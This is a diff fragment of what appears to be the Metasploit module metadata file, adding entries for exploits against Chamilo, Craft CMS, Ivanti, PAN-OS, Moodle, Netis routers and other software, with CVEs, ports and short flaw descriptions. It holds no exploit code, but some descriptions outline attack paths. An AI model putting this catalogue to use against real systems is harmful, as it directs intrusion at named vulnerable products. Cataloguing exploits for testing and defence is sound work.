+ "disclosure_date": "2023-11-28",
+ "type": "exploit",
+ "author": [
+ "Ngo Wei Lin",
+ "jheysel-r7"
+ ],
+ "description": "Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24\n a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to\n `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:\n `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist\n by default.",
+ "references": [
+ "URL-https://starlabs.sg/advisories/23/23-4220/",
+ "URL-https://github.com/H4cking4All/CVE-2023-4220/tree/main",
+ "CVE-2023-4220"
+ ],
+ "platform": "PHP",
+ "arch": "php",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "PHP"
+ ],
+ "mod_time": "2024-11-14 10:46:11 +0000",
+ "path": "/modules/exploits/linux/http/chamilo_bigupload_webshell.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/chamilo_bigupload_webshell",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_linux/http/chamilo_unauth_rce_cve_2023_34960": {
"name": "Chamilo unauthenticated command injection in PowerPoint upload",
"fullname": "exploit/linux/http/chamilo_unauth_rce_cve_2023_34960",
@@ -71188,6 +72072,69 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_linux/http/craftcms_ftp_template": {
+ "name": "Craft CMS Twig Template Injection RCE via FTP Templates Path",
+ "fullname": "exploit/linux/http/craftcms_ftp_template",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-12-19",
+ "type": "exploit",
+ "author": [
+ "jheysel-r7",
+ "Valentin Lobstein",
+ "AssetNote"
+ ],
+ "description": "This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.\n The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).",
+ "references": [
+ "CVE-2024-56145",
+ "URL-https://github.com/Chocapikk/CVE-2024-56145",
+ "URL-https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Unix/Linux Command Shell"
+ ],
+ "mod_time": "2025-01-15 09:22:44 +0000",
+ "path": "/modules/exploits/linux/http/craftcms_ftp_template.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/craftcms_ftp_template",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/craftcms_unauth_rce_cve_2023_41892": {
"name": "Craft CMS unauthenticated Remote Code Execution (RCE)",
"fullname": "exploit/linux/http/craftcms_unauth_rce_cve_2023_41892",
@@ -75559,6 +76506,70 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/ivanti_connect_secure_rce_cve_2024_37404": {
+ "name": "Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection",
+ "fullname": "exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-10-08",
+ "type": "exploit",
+ "author": [
+ "Richard Warren",
+ "Christophe De La Fuente"
+ ],
+ "description": "This module exploits a CRLF injection vulnerability in Ivanti Connect\n Secure to achieve remote code execution (CVE-2024-37404). Versions\n prior to 22.7R2.1 are vulnerable. Note that Ivanti Policy Secure\n versions prior to 22.7R1.1 are also vulnerable but this module\n doesn't support this software.\n\n Valid administrative credentials are required. A non-administrative\n user is also required and can be created using the administrative\n account, if needed.",
+ "references": [
+ "CVE-2024-37404",
+ "URL-https://attackerkb.com/topics/FI5vcuGwyM/cve-2024-37404",
+ "URL-https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404",
+ "URL-https://blog.amberwolf.com/blog/2024/october/cve-2024-37404-ivanti-connect-secure-authenticated-rce-via-openssl-crlf-injection/"
+ ],
+ "platform": "Linux",
+ "arch": "x86",
+ "rport": 443,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Automatic"
+ ],
+ "mod_time": "2024-12-03 18:33:43 +0000",
+ "path": "/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/ivanti_connect_secure_rce_cve_2024_37404",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs",
+ "account-logout"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/ivanti_csa_unauth_rce_cve_2021_44529": {
"name": "Ivanti Cloud Services Appliance (CSA) Command Injection",
"fullname": "exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529",
@@ -75751,6 +76762,69 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/judge0_sandbox_escape_cve_2024_28189": {
+ "name": "Judge0 sandbox escape",
+ "fullname": "exploit/linux/http/judge0_sandbox_escape_cve_2024_28189",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-03-04",
+ "type": "exploit",
+ "author": [
+ "Tanto Security",
+ "Takahiro Yokoyama"
+ ],
+ "description": "Judge0 does not account for symlinks placed inside the sandbox directory,\n which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox.",
+ "references": [
+ "CVE-2024-28185",
+ "CVE-2024-28189",
+ "URL-https://tantosec.com/blog/judge0/"
+ ],
+ "platform": "Linux",
+ "arch": "",
+ "rport": 2358,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Linux Command"
+ ],
+ "mod_time": "2024-10-23 07:29:21 +0000",
+ "path": "/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/judge0_sandbox_escape_cve_2024_28189",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "config-changes",
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_linux/http/kafka_ui_unauth_rce_cve_2023_52251": {
"name": "Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.",
"fullname": "exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251",
@@ -76272,6 +77346,67 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/librenms_authenticated_rce_cve_2024_51092": {
+ "name": "LibreNMS Authenticated RCE (CVE-2024-51092)",
+ "fullname": "exploit/linux/http/librenms_authenticated_rce_cve_2024_51092",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-11-15",
+ "type": "exploit",
+ "author": [
+ "murrant (Tony Murray)",
+ "Takahiro Yokoyama"
+ ],
+ "description": "An authenticated attacker can create dangerous directory names on the system and\n alter sensitive configuration parameters through the web portal.\n Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,\n thus achieving arbitrary code execution.",
+ "references": [
+ "URL-https://github.com/advisories/GHSA-x645-6pf9-xwxw",
+ "CVE-2024-51092"
+ ],
+ "platform": "Linux",
+ "arch": "",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Linux Command"
+ ],
+ "mod_time": "2025-01-20 21:24:16 +0000",
+ "path": "/modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/librenms_authenticated_rce_cve_2024_51092",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_linux/http/librenms_collectd_cmd_inject": {
"name": "LibreNMS Collectd Command Injection",
"fullname": "exploit/linux/http/librenms_collectd_cmd_inject",
@@ -77625,6 +78760,68 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/moodle_rce": {
+ "name": "Moodle Remote Code Execution (CVE-2024-43425)",
+ "fullname": "exploit/linux/http/moodle_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-08-27",
+ "type": "exploit",
+ "author": [
+ "Michael Heinzl",
+ "RedTeam Pentesting GmbH"
+ ],
+ "description": "This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.\n Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.",
+ "references": [
+ "URL-https://blog.redteam-pentesting.de/2024/moodle-rce/",
+ "URL-https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/",
+ "URL-https://moodle.org/mod/forum/discuss.php?d=461193",
+ "CVE-2024-43425"
+ ],
+ "platform": "Linux",
+ "arch": "cmd",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Linux Command"
+ ],
+ "mod_time": "2024-11-13 03:40:22 +0000",
+ "path": "/modules/exploits/linux/http/moodle_rce.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/moodle_rce",
+ "check": false,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "event-dependent"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/multi_ncc_ping_exec": {
"name": "D-Link/TRENDnet NCC Service Command Injection",
"fullname": "exploit/linux/http/multi_ncc_ping_exec",
@@ -78333,6 +79530,68 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_linux/http/netalertx_rce_cve_2024_46506": {
+ "name": "Unauthenticated RCE in NetAlertX",
+ "fullname": "exploit/linux/http/netalertx_rce_cve_2024_46506",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2025-01-30",
+ "type": "exploit",
+ "author": [
+ "Chebuya (Rhino Security Labs)",
+ "Takahiro Yokoyama"
+ ],
+ "description": "An attacker can update NetAlertX settings with no authentication, which results in RCE.",
+ "references": [
+ "CVE-2024-46506",
+ "URL-https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/"
+ ],
+ "platform": "Linux",
+ "arch": "",
+ "rport": 20211,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Linux Command"
+ ],
+ "mod_time": "2025-02-11 11:25:24 +0000",
+ "path": "/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/netalertx_rce_cve_2024_46506",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "config-changes",
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/netgear_dgn1000_setup_unauth_exec": {
"name": "Netgear DGN1000 Setup.cgi Unauthenticated RCE",
"fullname": "exploit/linux/http/netgear_dgn1000_setup_unauth_exec",
@@ -78817,6 +80076,72 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_linux/http/netis_unauth_rce_cve_2024_48456_and_48457": {
+ "name": "Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457).",
+ "fullname": "exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-12-27",
+ "type": "exploit",
+ "author": [
+ "h00die-gr3y "
+ ],
+ "description": "Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection\n vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details).\n The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the\n router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter,\n encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to\n command execution, potentially allowing the attacker to take full control of the router.\n An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated\n attacker to reset the Wifi and router password, hence gaining full root access to the router to execute the RCE.\n\n Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration\n information of the router which can be used by the attacker to determine if the router is running specific vulnerable\n firmware.\n\n The following router firmware versions are vulnerable:\n * netis_MW5360_V1.0.1.3031_fw.bin\n * Netis_MW5360-1.0.1.3442.bin\n * Netis_MW5360_RUSSIA_844.bin\n * netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)\n * netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)\n * netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)\n * Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)\n * netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin\n * netis_NC65_V3.0.0.3749.bin\n * Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)\n * Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)\n * netis_NX10_V2.0.1.3582_fw.bin\n * netis_NX10_V2.0.1.3643.bin\n * Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)\n * netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)\n * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin\n * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin\n * Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)\n * GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)\n * potentially others...",
+ "references": [
+ "CVE-2024-48455",
+ "CVE-2024-48456",
+ "CVE-2024-48457",
+ "URL-https://attackerkb.com/topics/L6qgmDIMa1/cve-2024-48455",
+ "URL-https://attackerkb.com/topics/Urqj4ggP4j/cve-2024-48456",
+ "URL-https://attackerkb.com/topics/ty1TOgc40f/cve-2024-48457",
+ "URL-https://github.com/users/h00die-gr3y/projects/1"
+ ],
+ "platform": "Linux",
+ "arch": "mipsle",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Linux Dropper"
+ ],
+ "mod_time": "2025-01-07 20:33:41 +0000",
+ "path": "/modules/exploits/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/netis_unauth_rce_cve_2024_48456_and_48457",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk",
+ "config-changes"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
"exploit_linux/http/netsweeper_webadmin_unixlogin": {
"name": "Netsweeper WebAdmin unixlogin.php Python Code Injection",
"fullname": "exploit/linux/http/netsweeper_webadmin_unixlogin",
@@ -79577,6 +80902,138 @@
"session_types": false,
"needs_cleanup": true
},
+ "exploit_linux/http/paloalto_expedition_rce": {
+ "name": "Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)",
+ "fullname": "exploit/linux/http/paloalto_expedition_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-10-09",
+ "type": "exploit",
+ "author": [
+ "Michael Heinzl",
+ "Zach Hanley",
+ "Enrique Castillo",
+ "Brian Hysell"
+ ],
+ "description": "Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below.\n The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data.\n When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.",
+ "references": [
+ "URL-https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/",
+ "URL-https://security.paloaltonetworks.com/PAN-SA-2024-0010",
+ "URL-https://security.paloaltonetworks.com/CVE-2024-5910",
+ "URL-https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910",
+ "URL-https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464",
+ "CVE-2024-5910",
+ "CVE-2024-24809"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd",
+ "rport": 443,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Linux Command"
+ ],
+ "mod_time": "2024-11-12 15:15:15 +0000",
+ "path": "/modules/exploits/linux/http/paloalto_expedition_rce.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/paloalto_expedition_rce",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk",
+ "account-lockouts"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": true
+ },
+ "exploit_linux/http/pandora_fms_auth_rce_cve_2024_11320": {
+ "name": "Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password",
+ "fullname": "exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-11-21",
+ "type": "exploit",
+ "author": [
+ "h00die-gr3y ",
+ "Askar mhaskar"
+ ],
+ "description": "Pandora FMS is a monitoring solution that provides full observability for your organization's\n technology. This module exploits an command injection vulnerability in the LDAP authentication\n mechanism of Pandora FMS.\n You need have admin access at the Pandora FMS Web application in order to execute this RCE.\n This access can be achieved leveraging a default password vulnerability in Pandora FMS that\n allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain\n administrative access to the Pandora FMS Web application. This attack can be remotely executed\n over the WAN as long as the MySQL services are exposed to the outside world.\n This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4",
+ "references": [
+ "CVE-2024-11320",
+ "URL-https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/",
+ "URL-https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320"
+ ],
+ "platform": "Linux,PHP,Unix",
+ "arch": "cmd, php",
+ "rport": 443,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "PHP Command",
+ "Unix/Linux Command"
+ ],
+ "mod_time": "2024-12-23 19:45:29 +0000",
+ "path": "/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_11320.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/pandora_fms_auth_rce_cve_2024_11320",
+ "check": true,
+ "post_auth": true,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/pandora_fms_events_exec": {
"name": "Pandora FMS Events Remote Command Execution",
"fullname": "exploit/linux/http/pandora_fms_events_exec",
@@ -79800,6 +81257,69 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/panos_management_unauth_rce": {
+ "name": "Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution",
+ "fullname": "exploit/linux/http/panos_management_unauth_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-11-18",
+ "type": "exploit",
+ "author": [
+ "watchTowr",
+ "sfewer-r7"
+ ],
+ "description": "This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection\n vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can\n execute arbitrary code with root privileges.\n\n The following versions are affected:\n * PAN-OS 11.2 (up to and including 11.2.4-h1)\n * PAN-OS 11.1 (up to and including 11.1.5-h1)\n * PAN-OS 11.0 (up to and including 11.0.6-h1)\n * PAN-OS 10.2 (up to and including 10.2.12-h2)",
+ "references": [
+ "CVE-2024-0012",
+ "CVE-2024-9474",
+ "URL-https://security.paloaltonetworks.com/CVE-2024-0012",
+ "URL-https://security.paloaltonetworks.com/CVE-2024-9474",
+ "URL-https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd",
+ "rport": 443,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Default"
+ ],
+ "mod_time": "2024-12-17 17:47:00 +0000",
+ "path": "/modules/exploits/linux/http/panos_management_unauth_rce.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/panos_management_unauth_rce",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/panos_op_cmd_exec": {
"name": "Palo Alto Networks Authenticated Remote Code Execution",
"fullname": "exploit/linux/http/panos_op_cmd_exec",
@@ -80516,6 +82036,70 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/projectsend_unauth_rce": {
+ "name": "ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution",
+ "fullname": "exploit/linux/http/projectsend_unauth_rce",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-07-19",
+ "type": "exploit",
+ "author": [
+ "Florent Sicchio",
+ "Hugo Clout",
+ "ostrichgolf"
+ ],
+ "description": "This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.\n The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,\n disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.",
+ "references": [
+ "CVE-2024-11680",
+ "URL-https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744",
+ "URL-https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf",
+ "CVE-2024-11680"
+ ],
+ "platform": "",
+ "arch": "",
+ "rport": 80,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "PHP Command"
+ ],
+ "mod_time": "2024-12-11 13:54:06 +0000",
+ "path": "/modules/exploits/linux/http/projectsend_unauth_rce.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/projectsend_unauth_rce",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "artifacts-on-disk",
+ "ioc-in-logs"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/pulse_secure_cmd_exec": {
"name": "Pulse Secure VPN Arbitrary Command Execution",
"fullname": "exploit/linux/http/pulse_secure_cmd_exec",
@@ -80654,6 +82238,72 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/pyload_js2py_cve_2024_39205": {
+ "name": "Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)",
+ "fullname": "exploit/linux/http/pyload_js2py_cve_2024_39205",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2024-10-28",
+ "type": "exploit",
+ "author": [
+ "Marven11",
+ "Spencer McIntyre",
+ "jheysel-r7"
+ ],
+ "description": "CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate\n javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference\n to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions\n and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74\n is the latest version of js2py which was released Nov 6, 2022.\n\n CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source\n download manager designed to automate file downloads from various online sources. Pyload is vulnerable because\n it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.\n This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we\n can bypass this restriction in order to access the API to achieve unauth RCE.",
+ "references": [
+ "CVE-2024-39205",
+ "CVE-2024-28397",
+ "URL-https://github.com/Marven11/CVE-2024-39205-Pyload-RCE",
+ "URL-https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g",
+ "URL-https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape"
+ ],
+ "platform": "Linux,Unix",
+ "arch": "cmd, x86, x64",
+ "rport": 9666,
+ "autofilter_ports": [
+ 80,
+ 8080,
+ 443,
+ 8000,
+ 8888,
+ 8880,
+ 8008,
+ 3000,
+ 8443
+ ],
+ "autofilter_services": [
+ "http",
+ "https"
+ ],
+ "targets": [
+ "Unix Command",
+ "Linux Dropper"
+ ],
+ "mod_time": "2024-11-14 12:47:35 +0000",
+ "path": "/modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb",
+ "is_install_path": true,
+ "ref_name": "linux/http/pyload_js2py_cve_2024_39205",
+ "check": true,
+ "post_auth": false,
+ "default_credential": false,
+ "notes": {
+ "Stability": [
+ "crash-safe"
+ ],
+ "Reliability": [
+ "repeatable-session"
+ ],
+ "SideEffects": [
+ "ioc-in-logs",
+ "artifacts-on-disk"
+ ]
+ },
+ "session_types": false,
+ "needs_cleanup": null
+ },
"exploit_linux/http/pyload_js2py_exec": {
"name": "pyLoad js2py Python Execution",
"fullname": "exploit/linux/http/pyload_js2py_exec",
@@ -81647,6 +83297,132 @@
"session_types": false,
"needs_cleanup": null
},
+ "exploit_linux/http/selenium_greed_chrome_rce_cve_2022_28108": {
+ "name": "Selenium chrome RCE",
+ "fullname": "exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108",
+ "aliases": [
+
+ ],
+ "rank": 600,
+ "disclosure_date": "2022-04-18",
+ "type": "exploit",
+ "author": [
+ "randomstuff (Gabriel Corona)",
+ "Wiz Research",
+ "Takahiro Yokoyama"
+ ],
+ "description": "Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types\n such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.",
+ "references": [
+ "CVE-2022-28108",
+ "URL-https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps",
